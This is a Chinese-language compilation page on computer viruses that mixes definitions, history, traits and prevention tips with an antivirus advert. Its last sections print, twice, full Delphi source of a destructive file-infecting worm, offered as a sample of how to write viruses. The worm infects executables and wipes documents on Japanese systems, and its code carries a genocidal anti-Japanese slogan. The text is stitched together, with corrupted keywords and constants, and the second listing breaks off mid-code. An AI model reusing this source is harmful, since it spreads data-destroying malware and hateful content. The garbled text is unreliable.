程序員寫病毒

1. 別人是怎麼樣放病毒讓我們中毒的他們又怎麼樣造病毒的

有很多種方法，最多的就是捆綁軟體，當你下載那個帶毒的軟體安裝時，病毒也開始在你系統里擴散；還有就是網頁掛馬，當你進入掛馬網站時，木馬就會通過瀏覽器緩存的漏洞進去你的系統；還有就是通過區域網路傳播等等。
病毒說白了就是一段程序而已。能寫程序就能造病毒，只不過是造出的病毒殺傷力的大小不同而已。

2. 計算機病毒

電腦病毒是指具有不良特徵的計算機程序。

法律定義
以下內容是中國大陸的電腦病毒的法律定義，司法部門憑這個就可以逮捕病毒製作和散播者。

1994年2月18日《中華人民共和國計算機信息系統安全保護條例》第二十八條[1]

計算機病毒，是指編制或者在計算機程序中插入的破壞計算機功能或者毀壞數據，影響計算機使用，並能自我復制的一組計算機指令或者程序代碼。

電腦病毒的定義一直存在著爭議，不少人包括世界各國的反病毒廠商都將基於網路的木馬、後門程序以及惡意軟體也歸在電腦病毒之列查殺。

中國互聯網協會關於惡意軟體的定義[2]

惡意軟體是指在未明確提示用戶或未經用戶許可的情況下，在用戶計算機或其他終端上安裝運行，侵犯用戶合法權益的軟體，但已被我國現有法律法規規定的計算機病毒除外。

歷史
「病毒」一詞最早用來表達此意是在弗雷德·科恩（Fred Cohen）1984年的論文《電腦病毒實驗》。而病毒一詞廣為人知是得力於科幻小說。一部是70年代中期大衛·傑洛德（David Gerrold）的《When H.A.R.L.I.E. was One》，描述了一個叫「病毒」的程序和與之對戰的叫「抗體」的程序；另一部是約翰·布魯勒爾（John Brunner）1975年的小說《乘波者》，描述了一個叫做「磁帶蠕蟲」、在網路上刪除數據的程序。[1]

20世紀60年代初，美國麻省理工學院的一些青年研究人員，在做完工作後，利用業務時間玩一種他們自己創造的計算機游戲。做法是某個人編制一段小程序，然後輸入到計算機中運行，並銷毀對方的游戲程序。而這也可能就是計算機病毒的雛形。

據某計算機安全公司的估算，目前全世界現有20萬有能力寫較成熟電腦病毒的程序員。

運行環境
由於世界操作系統90%的市場都由微軟Windows系列壟斷[2][3] ，所以病毒作者紛紛把病毒針對對象攻擊目標選為Windows，製作病毒者首先應該確定要攻擊的操作系統版本有何漏洞，這才是他所寫的病毒能夠利用的關鍵。至於Linux、Mac OS等使用人群少的操作系統，能夠感染的病毒實在是少的可憐，但這並不說明它系統很完美，只能說用的人群少，病毒作者們認為它們沒有「攻擊價值」罷了，病毒作者大多發布病毒的目的是想出名[4]，如果將病毒發布到冷門操作系統下，很可能會導致他的「傑作」被「埋沒」，這是病毒作者們最不願意的。曾有一個為企業修改版的Linux自稱無病毒的操作系統，沒出幾天就得到了黑客們發現漏洞並給以在該系統運行環境下病毒大面積傳播的回擊，所以說暫時還沒有計算機病毒不能誕生和生存的運行環境。

特徵
在計算機科學里，電腦病毒是類似生物病毒一樣的程序，它會復制自己並傳播到其他宿主，並對宿主造成損害。宿主也是程序，通常是操作系統，從而進一步傳染到其他程序、其他的電腦。電腦病毒在傳播期間一般會隱蔽自己，由特定的條件觸發，並開始產生破壞。[5]

電腦病毒具有的不良特徵有傳播性、隱蔽性、感染性、潛伏性、可激發性[6]、表現性或破壞性，通常只表現兩種以上所述的特徵就可以認定該程序是病毒。

主要特徵詳解

傳播性
病毒一般會自動利用25電子郵件埠傳播，利用對象為微軟操作系統捆綁的Outlook的某個漏洞。將病毒自動復制並群發給存儲的通訊錄名單成員。郵件標題較為吸引人點擊，大多利用社會工程學如「親愛的」這樣家人朋友之間親密的話語，以降低人的警戒性。如果病毒製作者再應用腳本漏洞，將病毒直接嵌入郵件中，那麼用戶一點郵件標題打開郵件就會中病毒，這比引誘用戶先去打開郵件然後再下載病毒附件再去運行的方法要高明的多。

隱蔽性
病毒大多用C語言編寫，最大的病毒不過1MB，一般的病毒僅在1KB左右，這樣除了傳播快速之外，隱蔽性也極強。部分病毒使用「無進程」技術或插入到某個系統必要的關鍵進程當中去，所以在任務管理器中找不到它的單獨運行進程。而病毒自身一旦運行後，就會自己修改自己的文件名並隱藏在某個用戶不常去的系統文件夾中，這樣的文件夾通常有上千個系統文件，如果憑手工查找很難找到病毒。而病毒在運行前的偽裝技術也不得不值得我們關注，將病毒和一個吸引人的文件捆綁合並成一個文件，那麼運行正常吸引他的文件時，病毒也在我們的操作系統中悄悄的運行了。

感染性
某些病毒具有感染性，比如感染中毒用戶計算機上的可執行文件，如exe、dll，scr格式，通過這種方法達到自我復制，對自己生存保護的目的，類似於生物病毒的生殖中的克隆過程。通常也可以利用網路共享的漏洞，復制並傳播給鄰近的計算機用戶群，使鄰里通過路由器上網的計算機或網吧的計算機的多台計算機的程序全部受到感染。

潛伏性
部分病毒有一定的「潛伏期」，在特定的日子，如某個節日或者星期幾按時爆發。如1999年的刷BIOS的著名病毒CIH病毒就在每年的4月26日爆發。如同生物病毒一樣，這使電腦病毒可以在爆發之前以最大幅度散播開去。

可激發性
根據病毒作者的「需求」，設置觸發病毒攻擊的「玄機」。如CIH病毒的製作者陳盈豪曾打算設計的病毒，就是「精心」為簡體中文Windows系統所設計的。病毒運行後會主動檢測中毒者操作系統的語言，如果發現操作系統語言為簡體中文，病毒就會自動對計算機發起攻擊，而語言不是簡體中文版本的Windows，那麼你即使運行了病毒，病毒也不會對你的計算機發起攻擊或者破壞。[7]

表現性
病毒運行後，如果按照作者的設計，會有一定的表現特徵，如CPU佔用率100%，在用戶無任何操作下讀寫硬碟或其他磁碟數據，藍屏死機，滑鼠右鍵無法使用等。但這樣明顯的表現特徵反倒幫助被感染病毒者發現自己已經感染病毒並清除病毒很有幫助，隱蔽性就不存在了。

破壞性
某些威力強大的病毒，運行後直接格式化用戶的硬碟數據，更為厲害一些的如CIH可以刷BIOS。一般病毒的破壞對象都集中在對操作系統和硬碟數據的破壞上。但近年來有個別極為強大的病毒，已經開始將攻擊對象瞄準向了計算機硬體，以損毀硬體為破壞目標，一般應用的主要原理是攻擊硬體的頻繁工作如執行大量垃圾程序反復重起進入重新啟動操作系統循環或硬體的超負荷超電壓工作如超頻。

分類

腳本病毒
主條目：宏病毒

宏病毒的感染對象為高級辦公系列軟體，如Microsoft Word，Excel這些辦公軟體本身支持運行命令，所以也被Office文檔中含有惡意的宏病毒所利用。openoffice.org對宏的支持不完善，所以含有宏病毒的文檔在openoffice.org下打開後病毒無法運行。
腳本木馬，是針對用腳本語言編譯論壇或動態頁面時疏忽有可上傳漏洞時使用的木馬，可以將它上傳後進而控制整個伺服器的硬碟數據。

木馬
主條目：特洛伊木馬

一般也叫遠程監控軟體，如果木馬能連通的話，那麼可以說已經得到了遠程計算機的全部操作許可權，操作遠程計算機與操作自己計算機沒什麼大的區別，這類程序可以監視被控用戶的攝像頭與截取密碼。而Windows NT以後的版本自帶的「遠程桌面連接」，如果被不良用戶利用的話，那麼也與木馬沒什麼區別。

惡意程序
主條目：蠕蟲病毒

蠕蟲病毒漏洞利用類，也是我們最熟知的病毒，通常在全世界范圍內大規模爆發的就是它了。如針對舊版本未打補丁的Windows XP的沖擊波病毒和震盪波病毒。
間諜軟體和流氓軟體，是部分不良網路公司出品的一種收集用戶瀏覽網頁習慣而制訂自己廣告投放策略的軟體。這種軟體本身對計算機的危害性不是很大，只是中毒者隱私遭到泄露和一旦安裝上它就無法刪除卸載了。
惡作劇軟體，如破壞性很大的「格盤炸彈」，運行程序後自動格式化硬碟，原本只為「愚人」目的，但這種惡意程序運行後就會對用戶重要數據造成很大的損失。

免殺技術以及新特徵
免殺是指對病毒的處理使之躲過殺毒軟體查殺的一種技術。通常病毒剛從病毒作者手中傳播出去前，本身就是免殺的，甚至可以說「病毒比殺毒軟體還新，所以殺毒軟體根本無法識別它是病毒」，但由於傳播後部分用戶中毒向殺毒軟體公司舉報的原因，就會引起安全公司的注意並將之特徵碼收錄到自己的病毒庫當中，病毒就會被殺毒軟體所識別。

病毒作者可以通過對病毒進行再次保護如使用匯編技術或者給文件加殼就可以輕易躲過殺毒軟體的病毒特徵碼庫而免於被殺毒軟體查殺。

羅馬尼亞的BitDefender，俄羅斯的Kaspersky Anti-Virus，歐洲的NOD32,以及美國的Norton Antivirus，McAfee等產品在國際上口碑較好，但殺毒、查殼能力都有限，目前病毒庫總數量也都僅在50萬左右。

自我更新性是近年來病毒的又一新特徵。病毒可以藉助於網路進行變種更新，得到最新的免殺版本的病毒並繼續在用戶感染的計算機上運行。

除了自身免殺自我更新之外，個別病毒還具有了對抗它的「天敵」殺毒軟體和防火牆產品反反病毒軟體的全新特徵，只要病毒運行後，病毒會自動破壞中毒者計算機上安裝的殺毒軟體和防火牆產品，導致病毒生存能力更加強大。

防範
安裝並及時更新殺毒軟體與防火牆產品
保持最新病毒庫以便能夠查出最新的病毒，如卡巴斯基反病毒軟體的升級伺服器每3小時就有新病毒庫包可供用戶更新。而在防火牆的使用中應注意到禁止來路不明的軟體訪問網路。
修補操作系統以及其捆綁的軟體的漏洞
主條目：Microsoft Update

打系統以及其捆綁的軟體如Internet Explorer、Windows Media Player的漏洞安全補丁，以操作系統Windows為例Windows NT以及以下版本可以在Microsoft Update補丁系統，Windows 2000SP2以上，Windows XP以及Windows 2003等版本可以用系統的「自動補丁」程序下載補丁進行安裝。關閉系統默認網路共享，防止區域網入侵或蠕蟲傳播。
不要點來路不明連接以及運行不明程序[8]
來路不明的連接很可能是蠕蟲病毒自動通過電子郵件或即時通訊軟體發過來的，如QQ病毒之一的QQ尾巴，大多這樣信息中所帶連接指向都是些利用IE瀏覽器漏洞的網站，用戶訪問這些網站後不用下載直接就可能會中更多的病毒。另外不要運行來路不明的程序，如一些「性誘惑」的文件名騙人吸引人去點擊，點擊後病毒就在系統中運行了。
建議安裝冷門操作系統或偵測類工具包
主條目：後門

冷門操作系統，很少會有病毒作者去思考如何在這樣的環境下爆發他設計的病毒，當然應用於伺服器市場的Linux和FreeBSD就不能算伺服器市場的冷門了，如果個人用戶覺得Linux不錯的話，建議安裝免費的Redhat發行版的Linux，開放源代碼的操作系統漏洞被檢測出來的很多，這樣在實際運行中漏洞就會很少。因為後門如下載者或盜密碼軟體，大多可以因為防火牆自身的原理而穿過網路防火牆，安裝著網路防火牆也沒什麼用，所以建議安裝嗅探類工具，分析網路數據包，這樣您所處在的網路會非常安全。

3. 計算機病毒會自動生成嗎

您好

1，計算機病毒其實同樣是一種電腦程序，只是帶有惡意性，電腦中是不會自動生成的可以放心，這個得有特殊編寫才可以。

2，您可以到電腦管家官網下載一個電腦管家。

3，它可以很好的保護您的電腦系統安全哦，一共有16層實時防護全方位保護您的電腦。

4，而且同樣帶有殺毒功能，如果您的電腦中毒了，可以使用電腦管家的殺毒功能進行全盤查殺。

如果還有其他疑問和問題，歡迎再次來電腦管家企業平台進行提問，我們將盡全力為您解答疑難

4. 病毒是誰寫的

一些會編程類的人員！！
"病毒"就是一種程序,你會寫程序就會寫病毒.
程序員差不多都會寫病毒吧!
只不過品行好的,就寫程序幫助大家.
而寫病毒的人,要麼覺得好玩,要麼內心放不開,找不到展示自己的時間與地點
所以它們誤入歧途了...寫些病毒來危害大家的正常生活...
當然,也有些黑客也是劫富濟貧....不過很少...

5. 什麼計算機語言可以寫病毒

寫病毒的話
不用JAVA 語言
C語寫的也不好
用dephi
下面給你看用dephi寫熊貓病毒的源碼：
有註解

【熊貓燒香的病毒源碼】
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主圖標的大小744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = 444444; //感染標記
//無用碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系統標記
{ 判斷是否為windows 9.X版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//郵件終止
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to 8 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //小於10240的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := 444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入無用碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //獲取文件大小
i := 0;
Randomize;
Max := Random(15); //寫入無用碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入無用碼，將文件徹底破壞！
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除
except
end;
end;
{ 獲得可以寫入的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序並開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.
CMD命令 shutdown -a //取消計算機中病毒後的倒記時關機。

學習是好事 但不要去做壞事。
熊貓燒香的病毒作者 就得到了 法律的懲罰
所以千萬別做違法的事情。

6. 電腦病毒代碼

不行的 得用虛擬機才可以測試病毒代碼 無需下載，把下面這段代碼復制到記事本里，保存為文本文件
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

熊貓燒香
ogram Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//垃圾碼，以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來，以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之？
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼，將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄，感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr '.') and
(SearchRec.Name > '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name > '.') and
(SearchRec.Name > '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列，避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒，避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
